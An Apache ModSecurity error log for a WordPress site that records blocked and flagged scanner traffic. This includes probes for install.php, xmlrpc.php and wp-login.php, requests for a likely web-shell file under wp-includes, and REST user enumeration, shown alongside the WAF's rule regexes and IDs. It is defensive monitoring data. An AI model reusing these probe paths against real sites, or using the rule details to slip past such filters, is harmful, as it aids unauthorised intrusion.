[Mon Apr 27 23:20:14.696663 2026] [:error] [pid 31555:tid 31573] [client 168.144.106.20:64885] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/test/wp-admin/install.php"] [unique_id "ae9-rrJDZf3DNaSMAJ2CGAAAABA"]
[Mon Apr 27 23:20:15.405499 2026] [:error] [pid 13465:tid 13502] [client 168.144.106.20:65323] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/blog/wp-admin/install.php"] [unique_id "ae9-r_19I-6GBJQxn_jPvAAAAEc"]
[Mon Apr 27 23:20:15.585750 2026] [:error] [pid 13465:tid 13506] [client 168.144.106.20:65412] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cms/wp-admin/install.php"] [unique_id "ae9-r_19I-6GBJQxn_jPvQAAAEs"]
[Mon Apr 27 23:20:15.766687 2026] [:error] [pid 13465:tid 13496] [client 168.144.106.20:65495] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/web/wp-admin/install.php"] [unique_id "ae9-r_19I-6GBJQxn_jPvgAAAEE"]
[Mon Apr 27 23:20:15.987311 2026] [:error] [pid 13465:tid 13501] [client 168.144.106.20:49233] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/backup/wp-admin/install.php"] [unique_id "ae9-r_19I-6GBJQxn_jPwAAAAEY"]
[Mon Apr 27 23:20:16.207217 2026] [:error] [pid 31555:tid 31570] [client 168.144.106.20:49410] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/site/wp-admin/install.php"] [unique_id "ae9-sLJDZf3DNaSMAJ2CGQAAAA0"]
[Mon Apr 27 23:20:16.400465 2026] [:error] [pid 13523:tid 13526] [client 168.144.106.20:49532] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/oldsite/wp-admin/install.php"] [unique_id "ae9-sOeav51IXKv1ebEaDgAAAIE"]
[Tue Apr 28 02:24:39.533795 2026] [:error] [pid 36747:tid 36759] [client 45.190.119.181:23358] [client 45.190.119.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.190.119.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae-p589QpT00aPhkIcdpOAAAAYo"]
[Tue Apr 28 02:24:48.976880 2026] [:error] [pid 31555:tid 31566] [client 45.190.119.181:12544] [client 45.190.119.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.190.119.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae-p8LJDZf3DNaSMAJ3FTQAAAAk"]
[Tue Apr 28 02:24:59.317044 2026] [:error] [pid 31555:tid 31578] [client 45.190.119.181:1974] [client 45.190.119.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.190.119.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae-p-7JDZf3DNaSMAJ3FUwAAABU"]
[Tue Apr 28 02:25:09.631324 2026] [:error] [pid 42612:tid 42757] [client 45.190.119.181:1658] [client 45.190.119.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.190.119.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae-qBTCDyZvIG2oFcJ7kwQAAAQA"]
[Tue Apr 28 02:25:19.983481 2026] [:error] [pid 42612:tid 42758] [client 45.190.119.181:1994] [client 45.190.119.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.190.119.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae-qDzCDyZvIG2oFcJ7kxAAAAQE"]
[Tue Apr 28 05:35:22.509116 2026] [:error] [pid 56602:tid 56606] [client 14.215.163.132:45909] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae_WmvCwhMxzNW_lZSwpHQAAAQI"]
[Tue Apr 28 06:47:08.374402 2026] [:error] [pid 56602:tid 56606] [client 94.154.113.184:29009] [client 94.154.113.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ae_nbPCwhMxzNW_lZSw-MAAAAQI"]
[Tue Apr 28 06:47:09.474013 2026] [:error] [pid 6746:tid 6766] [client 94.154.113.184:50001] [client 94.154.113.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae_nbbuStsbXtMDpzS-gHAAAAVI"]
[Tue Apr 28 09:03:42.797630 2026] [:error] [pid 33777:tid 33852] [client 64.89.160.114:15750] [client 64.89.160.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.89.160.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afAHbrXUCFWqmordGGLe9wAAARE"]
[Tue Apr 28 09:28:41.607912 2026] [:error] [pid 50889:tid 50894] [client 124.156.226.179:50822] [client 124.156.226.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afANSYzszBr00txEzGijIgAAAAI"]
[Tue Apr 28 10:56:38.153708 2026] [:error] [pid 33777:tid 33839] [client 43.155.140.157:49584] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afAh5rXUCFWqmordGGL7ZQAAAQQ"]
[Tue Apr 28 13:50:37.079939 2026] [:error] [pid 2741:tid 2755] [client 194.26.192.131:63608] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afBKrfp92FeOz1h6ILyBSgAAAUk"]
[Tue Apr 28 13:50:37.581774 2026] [:error] [pid 33777:tid 33853] [client 194.26.192.131:63662] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afBKrbXUCFWqmordGGJEYQAAARI"]
[Tue Apr 28 13:50:38.085101 2026] [:error] [pid 33775:tid 33791] [client 194.26.192.131:63722] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afBKrpsYOcoQrq88YbUC9QAAAMw"]
[Tue Apr 28 13:50:40.862480 2026] [:error] [pid 33776:tid 33809] [client 194.26.192.131:64053] [client 194.26.192.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "afBKsF-bEJ2CKP3iKAD6MwAAAEE"]
[Tue Apr 28 13:52:33.568081 2026] [:error] [pid 33776:tid 33819] [client 74.7.227.132:53658] [client 74.7.227.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afBLIV-bEJ2CKP3iKAD67wAAAEs"], referer: https://gigfragments.org/
[Tue Apr 28 14:49:36.749087 2026] [:error] [pid 2741:tid 2763] [client 134.209.212.113:65159] [client 134.209.212.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.212.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afBYgPp92FeOz1h6ILyVUQAAAVE"]
[Tue Apr 28 14:49:38.917940 2026] [:error] [pid 2741:tid 2751] [client 134.209.212.113:65330] [client 134.209.212.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.212.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afBYgvp92FeOz1h6ILyVWAAAAUU"]
[Tue Apr 28 16:12:20.549934 2026] [:error] [pid 50889:tid 50907] [client 92.99.142.156:60000] [client 92.99.142.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.99.142.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afBr5IzszBr00txEzGgQeQAAAA8"]
[Tue Apr 28 16:12:29.703309 2026] [:error] [pid 33777:tid 33836] [client 92.99.142.156:60261] [client 92.99.142.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.99.142.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afBr7bXUCFWqmordGGKDBQAAAQE"]
[Tue Apr 28 16:12:40.271767 2026] [:error] [pid 33775:tid 33788] [client 92.99.142.156:60549] [client 92.99.142.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.99.142.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afBr-JsYOcoQrq88YbUR9QAAAMk"]
[Tue Apr 28 16:12:51.482934 2026] [:error] [pid 50889:tid 50895] [client 92.99.142.156:60865] [client 92.99.142.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.99.142.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afBsA4zszBr00txEzGgQlgAAAAM"]
[Tue Apr 28 16:13:02.359015 2026] [:error] [pid 33776:tid 33813] [client 92.99.142.156:61159] [client 92.99.142.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.99.142.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afBsDl-bEJ2CKP3iKAAN9AAAAEU"]
[Tue Apr 28 16:24:15.283463 2026] [:error] [pid 50889:tid 50911] [client 43.153.192.98:55332] [client 43.153.192.98] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afBur4zszBr00txEzGgTMAAAABM"]
[Tue Apr 28 17:48:59.847755 2026] [:error] [pid 2741:tid 2746] [client 101.33.66.34:36658] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afCCi_p92FeOz1h6ILzKegAAAUA"]
[Tue Apr 28 21:59:09.078375 2026] [:error] [pid 33864:tid 33874] [client 110.159.103.56:62971] [client 110.159.103.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.159.103.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afC9LTXchLGZ4QggCskwywAAAIg"]
[Tue Apr 28 22:40:34.765956 2026] [:error] [pid 33776:tid 33823] [client 43.157.38.228:46794] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afDG4l-bEJ2CKP3iKABJswAAAE8"]
[Wed Apr 29 00:00:57.417463 2026] [:error] [pid 33775:tid 33795] [client 43.153.123.3:58520] [client 43.153.123.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afDZuZsYOcoQrq88YbVHFwAAANA"]
[Wed Apr 29 01:28:19.407085 2026] [:error] [pid 2741:tid 2755] [client 20.220.167.206:36100] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "afDuM_p92FeOz1h6ILxFMgAAAUk"]
[Wed Apr 29 01:28:21.789047 2026] [:error] [pid 33864:tid 33879] [client 20.220.167.206:60679] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "afDuNTXchLGZ4QggCslQYgAAAI0"]
[Wed Apr 29 01:28:23.235779 2026] [:error] [pid 2741:tid 2766] [client 20.220.167.206:43047] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "afDuN_p92FeOz1h6ILxFPQAAAVQ"]
[Wed Apr 29 01:28:25.373544 2026] [:error] [pid 33775:tid 33779] [client 20.220.167.206:44461] [client 20.220.167.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "afDuOZsYOcoQrq88YbVOqQAAAMA"]
[Wed Apr 29 01:29:58.262890 2026] [:error] [pid 3594:tid 3599] [client 223.15.245.170:59671] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afDullX25ha35uHxeYk7CwAAAYI"]
[Wed Apr 29 02:46:17.316983 2026] [:error] [pid 33775:tid 33799] [client 143.105.97.174:60833] [client 143.105.97.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.97.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEAeZsYOcoQrq88YbVVogAAANQ"]
[Wed Apr 29 02:46:26.072595 2026] [:error] [pid 35342:tid 35348] [client 143.105.97.174:24160] [client 143.105.97.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.97.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEAgu7D5-OXGLQYxO7_wQAAAwQ"]
[Wed Apr 29 02:46:36.849017 2026] [:error] [pid 35397:tid 35410] [client 143.105.97.174:45162] [client 143.105.97.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.97.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEAjNHpxd_yeKLRYn5IBgAAA0g"]
[Wed Apr 29 02:46:49.824286 2026] [:error] [pid 35256:tid 35268] [client 143.105.97.174:7916] [client 143.105.97.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.97.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEAmSoQkR5MuN9_tM5ztgAAAoo"]
[Wed Apr 29 02:47:21.823350 2026] [:error] [pid 35256:tid 35279] [client 143.105.97.174:40629] [client 143.105.97.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.97.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEAuSoQkR5MuN9_tM5zugAAApU"]
[Wed Apr 29 04:56:59.990203 2026] [:error] [pid 26594:tid 26620] [client 110.76.128.145:52414] [client 110.76.128.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.76.128.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEfG9s-37Kay1vO52kp7wAAARg"]
[Wed Apr 29 05:00:29.992225 2026] [:error] [pid 56756:tid 56811] [client 110.76.128.145:55646] [client 110.76.128.145] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afEf7XDi78vq-l2wwMwIXwAAAFM"]
[Wed Apr 29 05:00:58.747449 2026] [:error] [pid 26594:tid 26599] [client 110.76.128.145:56121] [client 110.76.128.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.76.128.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEgCts-37Kay1vO52krqgAAAQM"]
[Wed Apr 29 05:01:26.358581 2026] [:error] [pid 56757:tid 56839] [client 110.76.128.145:56503] [client 110.76.128.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.76.128.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEgJvj76quHaaG1miSMtAAAAJQ"]
[Wed Apr 29 05:01:56.046016 2026] [:error] [pid 56755:tid 56788] [client 110.76.128.145:57044] [client 110.76.128.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.76.128.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEgRPdXjiwtyGfj4lxEwwAAABg"]
[Wed Apr 29 05:02:22.921090 2026] [:error] [pid 56756:tid 56814] [client 110.76.128.145:57459] [client 110.76.128.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.76.128.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afEgXnDi78vq-l2wwMwIuwAAAFY"]
[Wed Apr 29 05:53:43.457442 2026] [:error] [pid 56863:tid 56883] [client 119.28.140.106:42142] [client 119.28.140.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afEsZ2QQTEnvYCOsiwLTOgAAANI"]
[Wed Apr 29 06:57:03.648207 2026] [:error] [pid 56755:tid 56788] [client 105.235.134.214:30086] [client 105.235.134.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.235.134.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afE7P_dXjiwtyGfj4lxMKAAAABg"]
